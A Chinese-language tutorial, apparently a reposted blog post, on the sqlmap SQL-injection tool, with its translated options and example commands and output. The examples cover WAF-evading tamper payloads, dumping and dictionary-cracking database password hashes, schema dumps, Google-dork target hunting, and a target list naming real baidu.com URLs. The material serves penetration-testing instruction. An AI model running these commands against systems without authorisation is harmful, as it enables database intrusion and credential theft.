SQLMap从入门到入狱详细指南
2022-11-17 00:3:18 Author: 猫因的安全(查看原文) 阅读量:3 收藏

1.介绍

官网 https://sqlmap.org/

sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终极渗透测试的良好特性和众多的操作选项,从数据库指纹、数据获取到访问底层文件系统、执行操作系统命令。

2.特点

  1. 全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB数据库管理系统。

  2. 全面支持六种SQL注入技术:boolean-based盲注、time-based盲注、error-based、UNION查询、堆叠查询和带外查询。

  3. 通过提供DBMS凭证、IP地址、端口和数据库名,支持不通过SQL注入的直接连接数据库。

  4. 支持枚举用户、密码哈希、特权、角色、数据库、表和列。

  5. 自动识别密码哈希格式,支持基于字典的攻击破解。

  6. 支持完整转储数据库表,根据用户的选择转储一定范围内的条目或特定列。用户还可以选择只从每列中转储指定字符。

  7. 支持搜索特定的数据库名、表名,或跨表搜索特定的列名。这非常有用,例如,识别包含自定义应用程序凭证的表,其相关列名称可能包含name、pass等字符串。

  8. 支持通过数据库服务器所在的文件系统下载和上传任何文件,当数据库软件是MySQL, PostgreSQL或Microsoft SQL server时。

  9. 支持通过数据库服务器所在的操作系统执行任意命令并获取输出,当数据库软件为MySQL、PostgreSQL或Microsoft SQL server时。

  10. 支持在攻击者机器和数据库服务器所在操作系统之间建立带外有状态的TCP连接,这个通道根据用户的选择可以是交互式命令行、Meterpreter会话或图形用户界面(VNC)。

  11. 支持通过Metasploit的getsystem命令实现数据库进程的用户权限升级。

SQLMAP支持的五种不同的注入方式

  • B:Boolean-basedblindSQLinjection(布尔型注入)

  • E:Error-basedSQLinjection(报错型注入)

  • U:UNIONquerySQLinjection(联合查询注入)

  • S:StackedqueriesSQLinjection(多语句查询注入)

  • T:Time-basedblindSQLinjection(基于时间延迟注入)

  • Q:InlineSQLInjection(内联注入)

3.下载

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap

更新sqlmap

python sqlmap.py --update

4.帮助文档

显示终端帮助文档

sqlmap -h

显示sqlmap详细的帮助文档

sqlmap -hh

中文帮助文档

用法:python sqlmap.py [选项]

选项:
-h                   显示基本帮助信息并退出
-hh                   显示高级帮助信息并退出
--version             显示程序版本信息并退出
-v                   输出信息详细程度级别:0-6(默认为 1)

目标:
至少提供一个以下选项以指定目标

  -d DIRECT           直接连接数据库
  -u URL, --url=URL   目标 URL(例如:"http://www.site.com/vuln.php?id=1")
  -l LOGFILE         从 Burp 或 WebScarab 代理的日志文件中解析目标地址
  -x SITEMAPURL       从远程网站地图(.xml)文件中解析目标
  -m BULKFILE         从文本文件中获取批量目标
  -r REQUESTFILE     从文件中读取 HTTP 请求
  -g GOOGLEDORK       使用 Google dork 结果作为目标
  -c CONFIGFILE       从 INI 配置文件中加载选项

请求:
以下选项可以指定连接目标地址的方式

  --method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
  --data=DATA         使用 POST 发送数据串
  --param-del=PARA.. 设置参数值分隔符
  --cookie=COOKIE     指定 HTTP Cookie
  --cookie-del=COO.. 设置 cookie 分隔符
  --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件
  --drop-set-cookie   忽略 HTTP 响应中的 Set-Cookie 参数
  --user-agent=AGENT 指定 HTTP User-Agent
  --random-agent     使用随机的 HTTP User-Agent
  --host=HOST         指定 HTTP Host
  --referer=REFERER   指定 HTTP Referer
  -H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
  --headers=HEADERS   设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
  --auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
  --auth-cred=AUTH.. HTTP 认证凭证(username:password)
  --auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件
  --ignore-code=IG.. 忽略 HTTP 错误码(例如:401)
  --ignore-proxy     忽略系统默认代理设置
  --ignore-redirects 忽略重定向尝试
  --ignore-timeouts   忽略连接超时
  --proxy=PROXY       使用代理连接目标 URL
  --proxy-cred=PRO.. 使用代理进行认证(username:password)
  --proxy-file=PRO.. 从文件中加载代理列表
  --tor               使用 Tor 匿名网络
  --tor-port=TORPORT 设置 Tor 代理端口代替默认端口
  --tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
  --check-tor         检查是否正确使用了 Tor
  --delay=DELAY       设置每个 HTTP 请求的延迟秒数
  --timeout=TIMEOUT   设置连接响应的有效秒数(默认为 30)
  --retries=RETRIES   连接超时时重试次数(默认为 3)
  --randomize=RPARAM 随机更改给定的参数值
  --safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注:
                      有些网站在你连续多次访问错误地址时会关闭会话连接,
                      后面的“请求”小节有详细说明)
  --safe-post=SAFE.. 使用 POST 方法发送合法的数据
  --safe-req=SAFER.. 从文件中加载合法的 HTTP 请求
  --safe-freq=SAFE.. 每访问两次给定的合法 URL 才发送一次测试请求
  --skip-urlencode   不对 payload 数据进行 URL 编码
  --csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token
  --csrf-url=CSRFURL 指定可提取反 CSRF 攻击 token 的 URL
  --force-ssl         强制使用 SSL/HTTPS
  --hpp               使用 HTTP 参数污染攻击
  --eval=EVALCODE     在发起请求前执行给定的 Python 代码(例如:
                      "import hashlib;id2=hashlib.md5(id).hexdigest()")

优化:
以下选项用于优化 sqlmap 性能

  -o                 开启所有优化开关
  --predict-output   预测常用请求的输出
  --keep-alive       使用持久的 HTTP(S) 连接
  --null-connection   仅获取页面大小而非实际的 HTTP 响应
  --threads=THREADS   设置 HTTP(S) 请求并发数最大值(默认为 1)

注入:
以下选项用于指定要测试的参数,
提供自定义注入 payloads 和篡改参数的脚本

  -p TESTPARAMETER   指定需要测试的参数
  --skip=SKIP         指定要跳过的参数
  --skip-static       指定跳过非动态参数
  --param-exclude=.. 用正则表达式排除参数(例如:"ses")
  --dbms=DBMS         指定 DBMS 类型(例如:MySQL)
  --dbms-cred=DBMS.. DBMS 认证凭据(username:password)
  --os=OS             指定 DBMS 服务器的操作系统类型
  --invalid-bignum   将无效值设置为大数
  --invalid-logical   对无效值使用逻辑运算
  --invalid-string   对无效值使用随机字符串
  --no-cast           关闭 payload 构造机制
  --no-escape         关闭字符串转义机制
  --prefix=PREFIX     注入 payload 的前缀字符串
  --suffix=SUFFIX     注入 payload 的后缀字符串
  --tamper=TAMPER     用给定脚本修改注入数据

检测:
以下选项用于自定义检测方式

  --level=LEVEL       设置测试等级(1-5,默认为 1)
  --risk=RISK         设置测试风险等级(1-3,默认为 1)
  --string=STRING     用于确定查询结果为真时的字符串
  --not-string=NOT.. 用于确定查询结果为假时的字符串
  --regexp=REGEXP     用于确定查询结果为真时的正则表达式
  --code=CODE         用于确定查询结果为真时的 HTTP 状态码
  --text-only         只根据页面文本内容对比页面
  --titles           只根据页面标题对比页面

技术:
以下选项用于调整特定 SQL 注入技术的测试方法

  --technique=TECH   使用的 SQL 注入技术(默认为“BEUSTQ”,译者注:
                      B: Boolean-based blind SQL injection(布尔型盲注)
                      E: Error-based SQL injection(报错型注入)
                      U: UNION query SQL injection(联合查询注入)
                      S: Stacked queries SQL injection(堆查询注入)
                      T: Time-based blind SQL injection(时间型盲注)
                      Q: inline Query injection(内联查询注入)
  --time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5)
  --union-cols=UCOLS 设置联合查询注入测试的列数目范围
  --union-char=UCHAR 用于暴力猜解列数的字符
  --union-from=UFROM 设置联合查询注入 FROM 处用到的表
  --dns-domain=DNS.. 设置用于 DNS 渗出攻击的域名(译者注:
                      推荐阅读《在SQL注入中使用DNS获取数据》
                      http://cb.drops.wiki/drops/tips-5283.html,
                      在后面的“技术”小节中也有相应解释)
  --second-order=S.. 设置二阶响应的结果显示页面的 URL(译者注:
                      该选项用于二阶 SQL 注入)

指纹识别:
-f, --fingerprint   执行广泛的 DBMS 版本指纹识别

枚举:
以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。
此外,还可以运行你输入的 SQL 语句

  -a, --all           获取所有信息、数据
  -b, --banner       获取 DBMS banner
  --current-user     获取 DBMS 当前用户
  --current-db       获取 DBMS 当前数据库
  --hostname         获取 DBMS 服务器的主机名
  --is-dba           探测 DBMS 当前用户是否为 DBA(数据库管理员)
  --users             枚举出 DBMS 所有用户
  --passwords         枚举出 DBMS 所有用户的密码哈希
  --privileges       枚举出 DBMS 所有用户特权级
  --roles             枚举出 DBMS 所有用户角色
  --dbs               枚举出 DBMS 所有数据库
  --tables           枚举出 DBMS 数据库中的所有表
  --columns           枚举出 DBMS 表中的所有列
  --schema           枚举出 DBMS 所有模式
  --count             获取数据表数目
  --dump             导出 DBMS 数据库表项
  --dump-all         导出所有 DBMS 数据库表项
  --search           搜索列,表和/或数据库名
  --comments         获取 DBMS 注释
  -D DB               指定要枚举的 DBMS 数据库
  -T TBL             指定要枚举的 DBMS 数据表
  -C COL             指定要枚举的 DBMS 数据列
  -X EXCLUDECOL       指定要排除的 DBMS 数据列
  -U USER             指定枚举的 DBMS 用户
  --exclude-sysdbs   枚举所有数据表时,指定排除特定系统数据库
  --pivot-column=P.. 指定主列
  --where=DUMPWHERE   在转储表时使用 WHERE 条件语句
  --start=LIMITSTART 指定要导出的数据表条目开始行数
  --stop=LIMITSTOP   指定要导出的数据表条目结束行数
  --first=FIRSTCHAR   指定获取返回查询结果的开始字符位
  --last=LASTCHAR     指定获取返回查询结果的结束字符位
  --sql-query=QUERY   指定要执行的 SQL 语句
  --sql-shell         调出交互式 SQL shell
  --sql-file=SQLFILE 执行文件中的 SQL 语句

暴力破解:
以下选项用于暴力破解测试

  --common-tables     检测常见的表名是否存在
  --common-columns   检测常用的列名是否存在

用户自定义函数注入:
以下选项用于创建用户自定义函数

  --udf-inject       注入用户自定义函数
  --shared-lib=SHLIB 共享库的本地路径

访问文件系统:
以下选项用于访问后端数据库管理系统的底层文件系统

  --file-read=RFILE   读取后端 DBMS 文件系统中的文件
  --file-write=WFILE 写入后端 DBMS 文件系统中的文件
  --file-dest=DFILE   使用文件绝对路径写入到后端 DBMS

访问操作系统:
以下选项用于访问后端数据库管理系统的底层操作系统

  --os-cmd=OSCMD     执行操作系统命令
  --os-shell         调出交互式操作系统 shell
  --os-pwn           调出 OOB shell,Meterpreter 或 VNC
  --os-smbrelay       一键调出 OOB shell,Meterpreter 或 VNC
  --os-bof           利用存储过程的缓冲区溢出
  --priv-esc         数据库进程用户提权
  --msf-path=MSFPATH Metasploit 框架的本地安装路径
  --tmp-path=TMPPATH 远程临时文件目录的绝对路径

访问 Windows 注册表:
以下选项用于访问后端数据库管理系统的 Windows 注册表

  --reg-read         读取一个 Windows 注册表键值
  --reg-add           写入一个 Windows 注册表键值数据
  --reg-del           删除一个 Windows 注册表键值
  --reg-key=REGKEY   指定 Windows 注册表键
  --reg-value=REGVAL 指定 Windows 注册表键值
  --reg-data=REGDATA 指定 Windows 注册表键值数据
  --reg-type=REGTYPE 指定 Windows 注册表键值类型

通用选项:
以下选项用于设置通用的参数

  -s SESSIONFILE     从文件(.sqlite)中读入会话信息
  -t TRAFFICFILE     保存所有 HTTP 流量记录到指定文本文件
  --batch             从不询问用户输入,使用默认配置
  --binary-fields=.. 具有二进制值的结果字段(例如:"digest")
  --check-internet   在访问目标之前检查是否正常连接互联网
  --crawl=CRAWLDEPTH 从目标 URL 开始爬取网站
  --crawl-exclude=.. 用正则表达式筛选爬取的页面(例如:"logout")
  --csv-del=CSVDEL   指定输出到 CVS 文件时使用的分隔符(默认为“,”)
  --charset=CHARSET   指定 SQL 盲注字符集(例如:"0123456789abcdef")
  --dump-format=DU.. 导出数据的格式(CSV(默认),HTML 或 SQLITE)
  --encoding=ENCOD.. 指定获取数据时使用的字符编码(例如:GBK)
  --eta               显示每个结果输出的预计到达时间
  --flush-session     清空当前目标的会话文件
  --forms             解析并测试目标 URL 的表单
  --fresh-queries     忽略存储在会话文件中的查询结果
  --har=HARFILE       将所有 HTTP 流量记录到一个 HAR 文件中
  --hex               获取数据时调用 DBMS 的 hex 函数
  --output-dir=OUT.. 自定义输出目录路径
  --parse-errors     从响应中解析并显示 DBMS 错误信息
  --save=SAVECONFIG   将选项设置保存到一个 INI 配置文件
  --scope=SCOPE       用正则表达式从提供的代理日志中过滤目标
  --test-filter=TE.. 根据 payloads 和/或标题(例如:ROW)选择测试
  --test-skip=TEST.. 根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试
  --update           更新 sqlmap

其他选项:
  -z MNEMONICS       使用短助记符(例如:“flu,bat,ban,tec=EU”)
  --alert=ALERT       在找到 SQL 注入时运行 OS 命令
  --answers=ANSWERS   设置问题答案(例如:“quit=N,follow=N”)
  --beep             出现问题提醒或在发现 SQL 注入时发出提示音
  --cleanup           指定移除 DBMS 中的特定的 UDF 或者数据表
  --dependencies     检查 sqlmap 缺少什么(非核心)依赖
  --disable-coloring 关闭彩色控制台输出
  --gpage=GOOGLEPAGE 指定页码使用 Google dork 结果
  --identify-waf     针对 WAF/IPS/IDS 保护进行彻底的测试
  --mobile           使用 HTTP User-Agent 模仿智能手机
  --offline           在离线模式下工作(仅使用会话数据)
  --purge-output     安全地删除输出目录的所有内容
  --skip-waf         跳过启发式检测 WAF/IPS/IDS 保护
  --smart             只有在使用启发式检测时才进行彻底的测试
  --sqlmap-shell     调出交互式 sqlmap shell
  --tmp-dir=TMPDIR   指定用于存储临时文件的本地目录
  --web-root=WEBROOT 指定 Web 服务器根目录(例如:"/var/www")
  --wizard           适合初级用户的向导界面

5.常见命令

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

sqlmap -u "http://192.168.1.107/sql/Less-1/?id=1" -v 1

-u  和 --url 参数一样 都是代表填写测试的url连接 如果存在&符号需要添加把url放在双引号内

-v 表示  输出信息详细程度级别:0-6(默认为 1)

0:只显示Python回源(tracebacks),错误(error)和关键(criticle)信息。
1:同时显示信息(info)和警告信息(warning)(默认为1)
2: 同时显示调试信息(debug)
3:同时显示注入的有效载荷(payloads)
4:同时显示http请求
5:同时显示http响应头
6:同时显示http响应内容

级别越高,信息就越详细,根据需求选择合适的输出信息。

指定目标

指定某个url进行测试

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

从文件中加载http请求测试

sqlmap -r url.txt

从burpsuite或者日志读取http包

sqlmap -l post.txt

从文本中获取多个目标进行扫描

sqlmap -m url.xt

http://www.baidu.com/index.php?id=1
http://www.baidu.com/new.php?id=1
http://www.baidu.com/awd.php?id=1

从谷歌引擎搜索结果扫描

sqlmap可以测试注入google的搜索结果中的get参数

python sqlmap.py -g "inurl:\".php?id=1\""

请求

http数据

参数 --data

此参数是把数据以post方式提交,sqlmap会自动检测post参数

sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查询"

参数拆分字符

参数:--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数

例子:

sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" 

HTTP cookie头

参数:--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用:

  1. web应用需要登陆的时候

  2. 你想要在这些头参数中测试SQL注入时

可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入

如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接

当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求

当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数

HTTP User-Agent头

参数:--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)

可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取

当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

HTTP Referer头

参数:--referer

sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入

HTTP headers头

参数:--headers

可以通过--headers参数来增加额外的http头

HTTP认证保护

参数:--auth-type,--auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:--auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:--proxy,--proxy-cred--ignore-proxy

使用--proxy代理是格式为:http://url:port

当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。

--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:--delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:--timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:--retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:--randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:--scope

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:--skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用--skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:--eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

6.注入

测试参数

参数:-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。

例如: -p "id,user-anget"

当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。

例如:--skip="user-angent.referer"

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入

指定数据库

参数:--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:--os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:--invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

只定无效的逻辑

参数:--invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

参数:--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

7.探测

探测等级

参数:--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。

参数:--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)。

8.注入技术

测试是否是注入

参数:--technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:--time-sec

当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:--union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:--union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。

二阶SQL注入

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。

8.列数据

标志

参数:-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:--is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

可以看到sqlmap不仅列出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+

列举数据库系统的架构

参数:--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。

加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]

获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+

获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。

